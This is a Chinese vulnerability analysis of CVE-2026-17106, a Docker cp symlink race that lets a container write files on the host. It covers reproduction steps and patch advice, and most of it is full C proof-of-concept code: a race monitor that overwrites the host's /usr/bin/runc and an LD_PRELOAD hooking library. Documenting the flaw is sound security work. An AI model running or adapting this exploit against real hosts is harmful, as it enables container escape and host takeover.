1.概述
1.1Docker cp
Docker cp是 Docker 中用于在容器与宿主机之间复制文件的常用命令,广泛应用于构建产物提取、测试结果收集、日志获取和取证调查等场景。
1.2Docker CLI
Docker CLI是 Docker 平台的核心用户交互工具,也是与 Docker 引擎进行交互的主要方式。它为开发者和运维人员提供了丰富的命令集,用于管理容器、镜像、网络、数据卷等 Docker 资源。
CVE-2026-17106 的核心问题在于:
Docker CLI 在处理容器归档数据并执行文件提取时,对动态变化的文件结构缺少有效校验。攻击者运行恶意容器,利用 TOCTOU竞态条件,在守护进程生成 tar 归档的过程中将目录替换为符号链接,并在 CLI 解压时绕过符号链接安全检查,最终将文件写入宿主机指定目录之外的任意位置。
2.影响版本
-
Docker Engine/CLI < 29.7.0
-
Docker Desktop < 4.86.0
-
Docker Sandboxes < 0.38.0
-
moby/go-archive < v0.3.0
3.利用链
恶意容器准备-
4.linux复现
在第一个终端中启动准备好的容器:
docker run --name copyescape-linux copyescape-linux

在第二个 Root 终端中,准备我们的**"诱饵"**
docker exec copyescape-linux cat /watched/file.txt

触发漏洞(关键)
docker cp copyescape-linux:/watched/file.txt ./file.txt

在存在漏洞的 Docker 版本上,/usr/bin/runc 现在将包含 PoC Shell 脚本。执行被替换的运行时将创建由 Root 拥有的标记文件:
sed -n '1,3p' /usr/bin/runc

5.漏洞原理
阶段一:伪装成普通文件(障眼法)
当用户在宿主机上执行 docker cp <container>:/watched/file.txt ./file.txt 时,Docker 守护进程(Daemon)首先会进入容器,遍历(Walk)文件系统,检查 /watched/file.txt 是什么类型的文件。
- 在这个阶段,PoC 让
/watched/file.txt表现为一个普通的常规文件。 - Docker 守护进程"检查"后认为:"这只是一个普通文件,很安全",于是决定将其打包进 tar 归档流中发送给 Docker CLI。
阶段二:竞态替换(偷梁换柱)
这是漏洞发生的关键时间窗口。
-
在 Docker 守护进程完成检查,但还没开始真正读取文件内容并打包的极短瞬间,容器内的恶意监控程序(Monitor)会迅速行动。
-
它将原本的普通文件删除,并替换为一个指向宿主机绝对路径的恶意符号链接。
- 例如在 Linux PoC 中,它被替换为指向
/usr/bin/目录的符号链接。
- 例如在 Linux PoC 中,它被替换为指向
-
接着,恶意程序会在该符号链接下放置一个名为
file.txt的"子条目"(实际上是恶意 payload,比如覆盖runc的脚本)。 -
此时,Docker 守护进程开始读取内容并生成 tar 流,它不加防备地将这个符号链接以及符号链接下的子文件打包进了 tar 流中。这就形成了一个不一致且恶意的 tar 流。
-
恶意监控程序(Monitor):
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <time.h>
#include <unistd.h>static const char *visible_file = "/watched/file.txt";
static const char *backing_file = "/watched/.file.txt.regular";
static const char *trigger_file = "/watched/file.txt/aaa.txt";
static const char *pivot_dir = "/watched/file.txt/escape";
static const char *stage_link = "/watched/file.txt/.swap-escape";
static const char *backup_dir = "/watched/file.txt/.old-escape";
static const char *host_target_dir = "/usr/bin";
static const char *host_target_file = "/usr/bin/runc";
static const int exit_quiet_ms = 250;static void die(const char *what)
{
perror(what);
exit(1);
}static uint64_t monotonic_ms(void)
{
struct timespec ts;if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) { die("clock_gettime"); } return (uint64_t)ts.tv_sec * 1000ULL + (uint64_t)ts.tv_nsec / 1000000ULL;}
static void mkdir_p(const char *path, mode_t mode)
{
char tmp[PATH_MAX];
char *p;if (snprintf(tmp, sizeof(tmp), "%s", path) >= (int)sizeof(tmp)) { fprintf(stderr, "mkdir path too long: %s\n", path); exit(1); } for (p = tmp + 1; *p != '\0'; p++) { if (*p != '/') { continue; } *p = '\0'; if (mkdir(tmp, mode) != 0 && errno != EEXIST) { die("mkdir"); } *p = '/'; } if (mkdir(tmp, mode) != 0 && errno != EEXIST) { die("mkdir"); }}
static void write_text_file(const char *path, const char *text)
{
size_t len = strlen(text);
ssize_t written;
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);if (fd < 0) { die(path); } written = write(fd, text, len); if (written < 0 || (size_t)written != len) { close(fd); die("write"); } if (close(fd) != 0) { die("close"); }}
static void write_repeat_file(const char *path, char fill, size_t size)
{
static char buf[64 * 1024];
size_t remaining = size;
int fd;memset(buf, fill, sizeof(buf)); fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); if (fd < 0) { die(path); } while (remaining > 0) { size_t chunk = remaining < sizeof(buf) ? remaining : sizeof(buf); ssize_t written = write(fd, buf, chunk); if (written < 0 || (size_t)written != chunk) { close(fd); die("write"); } remaining -= chunk; } if (close(fd) != 0) { die("close"); }}
static void setup_layout(void)
{
mkdir_p(pivot_dir, 0755);
mkdir_p(host_target_dir, 0755);
write_text_file(backing_file, "top-level file\n");
write_repeat_file(trigger_file, 'B', 16 * 1024 * 1024);
write_text_file(host_target_file, "#!/bin/bash\n echo 'you have been pwned';\ntouch /imperva_red_team;\n");
if (chmod(host_target_file, 0755) != 0) {
die("chmod");
}if (symlink(host_target_dir, stage_link) != 0) { die("symlink"); }}
static bool try_pivot(void)
{
if (rename(pivot_dir, backup_dir) != 0) {
perror("rename escape -> backup");
return false;
}
if (rename(stage_link, pivot_dir) != 0) {
perror("rename staged symlink -> escape");
return false;
}
printf("pivoted %s -> %s\n", pivot_dir, host_target_dir);
fflush(stdout);
return true;
}static void run_monitor(void)
{
char buf[4096];
bool raced = false;
uint64_t exit_deadline_ms = 0;
int fd = inotify_init1(IN_CLOEXEC);
struct pollfd pfd = { .fd = fd, .events = POLLIN };if (fd < 0) { die("inotify_init1"); } if (inotify_add_watch(fd, visible_file, IN_OPEN | IN_ACCESS | IN_ONLYDIR) < 0) { die("inotify_add_watch"); } if (inotify_add_watch(fd, host_target_dir, IN_OPEN | IN_ACCESS | IN_CLOSE_NOWRITE | IN_CLOSE_WRITE) < 0) { die("inotify_add_watch"); } for (;;) { int timeout = -1; ssize_t len; char *ptr; if (raced) { uint64_t now = monotonic_ms(); if (now >= exit_deadline_ms) { printf("copy activity went quiet, exiting\n"); fflush(stdout); return; } timeout = (int)(exit_deadline_ms - now); } if (poll(&pfd, 1, timeout) < 0) { if (errno == EINTR) { continue; } die("poll"); } if ((pfd.revents & POLLIN) == 0) { if (raced) { printf("copy activity went quiet, exiting\n"); fflush(stdout); return; } continue; } len = read(fd, buf, sizeof(buf)); if (len < 0) { if (errno == EINTR) { continue; } die("read"); } ptr = buf; while (ptr < buf + len) { struct inotify_event *event = (struct inotify_event *)ptr; if (!raced && (event->mask & (IN_OPEN | IN_ACCESS)) != 0 && event->len > 0 && strcmp(event->name, "aaa.txt") == 0) { raced = try_pivot(); if (raced) { exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms; } } else if (raced) { exit_deadline_ms = monotonic_ms() + (uint64_t)exit_quiet_ms; } ptr += sizeof(*event) + event->len; } }}
int main(void)
{
setup_layout();
run_monitor();
return 0;
}
阶段三:绕过校验,实现逃逸(致命一击)
-
存在漏洞的 Docker CLI 在宿主机上接收到这个 tar 流并开始解压。
-
用户原本指定的目标路径是当前的
./file.txt。 -
但是,Docker CLI 在解压时,没有严格校验符号链接的指向是否超出了用户指定的目标目录。
-
CLI 首先创建了那个恶意的符号链接,接着在解压子条目
file.txt时,顺着符号链接,将恶意内容直接写入到了符号链接指向的宿主机绝对路径(例如覆盖了/usr/bin/runc)。
Linux 动态链接库预加载劫持(WATCHED_PRELOAD)
在CVE-2026-17106 漏洞利用场景中,它的作用是欺骗 Docker 守护进程,使其在检查容器内文件时产生误判,从而为后续的攻击创造条件。
#define _GNU_SOURCE
#include <dlfcn.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
static const char *visible_file = "/watched/file.txt";
static const char *backing_file = "/watched/.file.txt.regular";
static int (*real_open_fn)(const char *pathname, int flags, ...) = NULL;
static int (*real_openat_fn)(int dirfd, const char *pathname, int flags, ...) = NULL;
static FILE *(*real_fopen_fn)(const char *pathname, const char *mode) = NULL;
static int (*real_stat_fn)(const char *pathname, struct stat *statbuf) = NULL;
static int (*real_lstat_fn)(const char *pathname, struct stat *statbuf) = NULL;
static void load_symbols(void)
{
if (real_open_fn != NULL) {
return;
}
real_open_fn = dlsym(RTLD_NEXT, "open");
real_openat_fn = dlsym(RTLD_NEXT, "openat");
real_fopen_fn = dlsym(RTLD_NEXT, "fopen");
real_stat_fn = dlsym(RTLD_NEXT, "stat");
real_lstat_fn = dlsym(RTLD_NEXT, "lstat");
}
static const char *redirect_path(const char *path)
{
if (path != NULL && strcmp(path, visible_file) == 0) {
return backing_file;
}
return path;
}
int open(const char *pathname, int flags, ...)
{
mode_t mode = 0;
va_list ap;
load_symbols();
if ((flags & O_CREAT) != 0) {
va_start(ap, flags);
mode = (mode_t)va_arg(ap, int);
va_end(ap);
return real_open_fn(redirect_path(pathname), flags, mode);
}
return real_open_fn(redirect_path(pathname), flags);
}
int openat(int dirfd, const char *pathname, int flags, ...)
{
mode_t mode = 0;
va_list ap;
load_symbols();
if ((flags & O_CREAT) != 0) {
va_start(ap, flags);
mode = (mode_t)va_arg(ap, int);
va_end(ap);
return real_openat_fn(dirfd, redirect_path(pathname), flags, mode);
}
return real_openat_fn(dirfd, redirect_path(pathname), flags);
}
FILE *fopen(const char *pathname, const char *mode)
{
load_symbols();
return real_fopen_fn(redirect_path(pathname), mode);
}
int stat(const char *pathname, struct stat *statbuf)
{
load_symbols();
return real_stat_fn(redirect_path(pathname), statbuf);
}
int lstat(const char *pathname, struct stat *statbuf)
{
load_symbols();
return real_lstat_fn(redirect_path(pathname), statbuf);
}
6.修复建议
官方已发布安全补丁,请及时更新至最新版本:
Docker Engine / CLI >= 29.7.0
Docker Desktop >= 4.86.0
Docker Sandboxes >= 0.38.0
下载地址:
Docker Engine:https://docs.docker.com/engine/release-notes/
Docker Desktop:https://docs.docker.com/desktop/release-notes/
Docker Sandboxes:https://github.com/docker/sandbox/releases